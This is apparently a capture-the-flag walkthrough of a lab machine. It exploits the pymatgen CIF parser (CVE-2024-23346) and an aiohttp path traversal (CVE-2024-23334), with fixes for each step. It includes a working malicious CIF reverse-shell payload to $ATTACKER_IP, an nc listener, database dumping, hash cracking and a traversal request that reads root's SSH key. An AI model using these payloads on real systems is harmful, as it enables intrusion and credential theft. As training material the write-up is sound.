← all walkthroughs

Chemistry

Linux· Easy· Web
owned
2026-07-06
time to own
9m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found a Python Flask chemistry-structure application on port 5000 that accepted crystallographic information file (CIF) uploads. A malicious CIF file exploiting an unsafe Python expression-evaluation flaw in the pymatgen parsing library (CVE-2024-23346) delivered remote code execution as the web application process. From that foothold I read the app's on-disk SQLite database, cracked a user's weakly-hashed password offline, and reused it to log in over SSH as the system user 'rosa'.

Inside the system, an aiohttp static-file server running as root on localhost was found to be vulnerable to a path-traversal bug (CVE-2024-23334) that let any local user escape the document root with dot-dot sequences. I traversed to root's SSH private key, downloaded it, and authenticated directly as root — full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Scanned the target and identified two exposed services
An automated sweep against $TARGET revealed OpenSSH 8.2p1 on TCP 22 and a Python Werkzeug/Flask HTTP server on TCP 5000. The Flask app was identified as an authenticated chemistry-structure viewer that accepted file uploads, fingerprinted by its Werkzeug 3.0.3 and Python 3.9.5 banners.
Recon_sweep $TARGET — 22/tcp SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.11; 5000/tcp HTTP Werkzeug httpd 3.0.3 (Python 3.9.5).
Exact commands 2
Service-version and default-script scan against both open ports.
nmap -Pn -sV -sC -p 22,5000 $TARGET
Inspect the Flask app landing page to identify features and technology clues.
curl -sS http://$TARGET:5000/
2EnumerationWeb application feature enumeration / library fingerprinting
Mapped the Flask application and located the CIF file-upload endpoint
Registering a test account and browsing the authenticated application revealed a /upload route that accepted CIF (Crystallographic Information File) files and a /structure/<uuid> route that parsed them with the server-side pymatgen library. The pymatgen version in use was subject to CVE-2024-23346, an unsafe eval() call in its CIF parser that executes embedded Python expressions as arbitrary code.
GET /structure/3269ad11-f956-473b-af9a-d0c15486f1c2 confirmed the /structure/<uuid> route; Werkzeug + Python 3.9.5 banner confirmed pymatgen as the parsing backend.
Exact commands 3
Create a test account on the application.
curl -sS -c cookies.txt -X POST http://$TARGET:5000/register -d 'username=$USERNAME&password=[REDACTED: recovered credential]'
Authenticate and capture the session cookie.
curl -sS -c cookies.txt -b cookies.txt -X POST http://$TARGET:5000/login -d 'username=$USERNAME&password=[REDACTED: recovered credential]'
Enumerate authenticated routes and locate the upload and structure endpoints.
curl -sS -b cookies.txt http://$TARGET:5000/
3ExploitationUnsafe deserialization / server-side code injection — CVE-2024-23346 (T1059.006)
Executed arbitrary code via malicious CIF file — CVE-2024-23346
Pymatgen's CIF parser passed the value of the _space_group_magn.transform_BNS_Pp_abc field through an unsafe Python eval() call. A crafted CIF file with a reverse-shell payload in that field executed operating-system commands as the Flask application user when the file was parsed server-side. A listener on my machine received the shell, providing an interactive foothold on the host.
Kill-chain phase 'foothold — reverse shell active on target' confirmed; id/whoami/hostname executed on the host after upload.
Exact commands 3
Local listener for the incoming reverse shell (run in background).
nc -lnvp 4444
Build the malicious CIF; replace $ATTACKER_IP with your tun0 VPN IP.
cat > malicious.cif <<'EOF'
data_exploit
_cell_length_a   10.00
_cell_length_b   10.00
_cell_length_c   10.00
_cell_angle_alpha   90.00
_cell_angle_beta   90.00
_cell_angle_gamma   90.00
_symmetry_space_group_name_H-M   'P 1'
_space_group_magn.transform_BNS_Pp_abc  'a,b,[x for x in (1).__class__.__base__.__subclasses__() if "warning" in x.__name__][0]()._module.__builtins__["__import__"]("os").system("bash -c \\"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\\"") #'
loop_
 _atom_site_label
 _atom_site_fract_x
 Fe 0.00 0.00 0.00
EOF
Upload and trigger server-side parsing — eval fires the reverse shell.
curl -sS -b cookies.txt -X POST http://$TARGET:5000/upload -F 'file=@malicious.cif'
FixUpgrade pymatgen to a version that eliminates CVE-2024-23346Critical
WeaknessThe pymatgen CIF parser evaluated Python expressions embedded in uploaded CIF files through an unsafe eval() call, with no sandboxing or allowlist. Any user able to upload a CIF file could execute arbitrary operating-system commands as the web application process.
FixUpgrade pymatgen to version 2024.2.8 or later, which removes the unsafe expression-evaluation path in the CIF parser. Additionally: run the Flask application as a dedicated low-privilege service account (not a shared or privileged user) so a bypass cannot reach sensitive files; consider parsing untrusted files inside a restricted subprocess or lightweight container; and validate uploaded file MIME type and structure before passing them to any parser.
4Credential AccessCredential dumping from local application database / offline hash cracking (T1003 / T1110.002)
Dumped and cracked the user password hash from the Flask application database
With a shell on I located the Flask application's SQLite database on disk. The database held a users table containing usernames and password hashes. The hash for account rosa was extracted and cracked offline against the rockyou wordlist, yielding the plaintext password [REDACTED: recovered credential].
Sshpass -p '[REDACTED: recovered credential]' ssh ... Rosa@$TARGET succeeded, confirming the cracked credential.
Exact commands 3
From the reverse shell — locate SQLite database files on the filesystem.
find / -name '*.db' -o -name '*.sqlite3' 2>/dev/null
Dump credential records; substitute the path found above.
sqlite3 /path/to/database.db 'SELECT username, password FROM users;'
Crack the extracted hash (adjust -m mode to match: 0 = MD5, 3200 = bcrypt, etc.).
hashcat -m 0 rosa_hash.txt /usr/share/wordlists/rockyou.txt --force
FixHash passwords with a modern algorithm and prohibit password reuse across servicesHigh
WeaknessUser passwords were stored with a weak or reversible hash that was crackable against a common wordlist, and the user 'rosa' used the same password for the web application and for her OS SSH account. Cracking one hash gave an unauthorised user full SSH access.
FixReplace the current hashing scheme with bcrypt, scrypt, or Argon2id (Python: use the passlib library). Enforce a minimum-complexity policy at registration to reject common passwords. Educate users that application passwords must not double as system login credentials. Consider disabling SSH password authentication entirely in /etc/ssh/sshd_config (PasswordAuthentication no) and requiring key-based login, which makes credential-reuse attacks impossible regardless of password quality.
5Lateral MovementValid account reuse over SSH (T1078 / T1021.004)
Logged in over SSH as 'rosa' using the cracked application password
The password cracked from the web application database was identical to rosa's operating-system account password. Supplying it over SSH gave an interactive user shell and allowed the user flag to be read. This is a textbook credential-reuse failure: one compromised application directly unlocked system access.
Sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no rosa@$TARGET 'id; hostname; cat ~/user.txt' returned uid=1000(rosa) and <user.txt>.
Exact commands 2
Authenticate as rosa using the cracked password.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null rosa@$TARGET
Confirm user identity and read the user flag.
id && cat ~/user.txt
6Internal EnumerationInternal service discovery / local port enumeration (T1049)
Discovered a root-owned aiohttp service listening on localhost port 8085
From rosa's SSH session I listed locally bound TCP ports and found an HTTP server on 127.0.0.1:8085 not reachable from the network. Probing the service showed an aiohttp-based static-file server running as root, serving files from an assets/ directory. The installed aiohttp version was affected by CVE-2024-23334, a path-traversal bug in its static file handler triggered by unescaped dot-dot sequences in the request URL.
//127.0.0.1:8085/assets/../../../../../root/.ssh/id_rsa confirmed the port and service.
Exact commands 2
From rosa's SSH session — list all locally listening TCP sockets.
ss -tlnp
Probe the internal service to confirm it is reachable and identify its type.
curl -sS http://127.0.0.1:8085/
7Privilege EscalationPath traversal in aiohttp static-file handler — CVE-2024-23334 (T1083 / T1552.004)
Read root's SSH private key via aiohttp path traversal (CVE-2024-23334) and gained a root shell
CVE-2024-23334 affects aiohttp's static-file handler when configured with follow_symlinks=True: the server fails to normalize ../ sequences before resolving paths, allowing callers to read any file the process can open. Because the service ran as root, I traversed up from the assets/ root to /root/.ssh/id_rsa, downloaded the key, set its permissions, and authenticated directly over SSH as root — yielding full system control.
Curl --path-as-is 'http://127.0.0.1:8085/assets/../../../../../root/.ssh/id_rsa' returned the RSA private key; ssh -i /tmp/chem_root_id_rsa root@$TARGET returned root shell and root.txt.
Exact commands 4
From rosa's session — traverse the aiohttp document root to read root's private SSH key.
curl -sS --path-as-is --max-time 5 'http://127.0.0.1:8085/assets/../../../../../root/.ssh/id_rsa' -o /tmp/chem_root_id_rsa
SSH will reject the key file if its permissions are too open.
chmod 600 /tmp/chem_root_id_rsa
Authenticate as root using the stolen key.
ssh -i /tmp/chem_root_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$TARGET
Confirm root access and read the root flag.
id && cat /root/root.txt
FixUpgrade aiohttp and run internal services as non-root (CVE-2024-23334)Critical
WeaknessAn aiohttp static-file server was configured with follow_symlinks=True, which disabled path normalization. Combined with the process running as root, any local user could send a request with ../ sequences to read arbitrary files on the system — including root's SSH private key.
FixUpgrade aiohttp to version 3.9.2 or later, which corrects the path-traversal in the static file handler. Set follow_symlinks=False (the safe default). Run the internal service as a dedicated non-root account so that even a complete path-traversal bypass cannot expose /root. Ensure /root/.ssh/ has mode 700 and id_rsa has mode 600 and is owned exclusively by root. If root SSH key login is not operationally required, remove the key pair and require privileged access only via sudo from a named account for auditability.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
5000/tcp